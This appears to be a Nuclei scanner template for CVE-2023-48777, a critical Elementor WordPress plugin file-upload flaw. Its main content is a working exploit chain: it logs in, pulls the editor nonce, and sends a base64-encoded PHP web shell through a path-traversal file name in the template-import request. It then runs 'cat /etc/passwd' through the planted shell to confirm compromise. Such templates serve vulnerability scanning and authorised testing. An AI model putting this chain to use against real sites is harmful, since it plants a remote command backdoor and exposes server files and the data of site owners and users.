69 lines
2.5 KiB
YAML
69 lines
2.5 KiB
YAML
id: CVE-2023-48777
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info:
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name: WordPress Elementor 3.18.1 - File Upload/Remote Code Execution
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author: DhiyaneshDK
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severity: critical
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description: |
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The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server.
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remediation: Fixed in 3.18.2
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reference:
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- https://wpscan.com/vulnerability/a6b3b14c-f06b-4506-9b88-854f155ebca9/
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- https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-18-0-arbitrary-file-upload-vulnerability?_s_id=cve
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.9
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cve-id: CVE-2023-48777
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cwe-id: CWE-434
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epss-score: 0.00054
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epss-percentile: 0.21518
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metadata:
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verified: true
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max-request: 4
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framework: wordpress
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publicwww-query: "/wp-content/plugins/elementor/"
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tags: cve,cve2023,elementor,file-upload,intrusive,rce,wpscan,wordpress,wp-plugin,authenticated
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variables:
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filename: "{{rand_base(6)}}"
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payload: '{"import_template":{"action":"import_template","data":{"fileName":"/../../../../{{filename}}.php","fileData":"PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4="}}}'
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/post.php?post=1&action=elementor HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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actions={{url_encode(payload)}}&_nonce={{nonce}}&editor_post_id=1&initial_document_id=1&action=elementor_ajax
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- |
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GET /wp-content/{{filename}}.php?cmd=cat+/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- "regex('root:.*:0:0:', body_4)"
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- "status_code_4 == 200"
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condition: and
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extractors:
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- type: regex
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internal: true
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name: nonce
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part: body
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group: 1
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regex:
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- 'admin\\\/admin\-ajax\.php","nonce":"([0-9a-z]+)"'
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# digest: 4b0a00483046022100b71e9b31dece4dcf31fbd4629f0aea2339c0ec8922cf20066400a2d2232bca0c02210091ea465a635a3c4c909c86e44122140e35c0f0fc6fb70e2e4182abe48c32c568:922c64590222798bb761d5b6d8e72950 |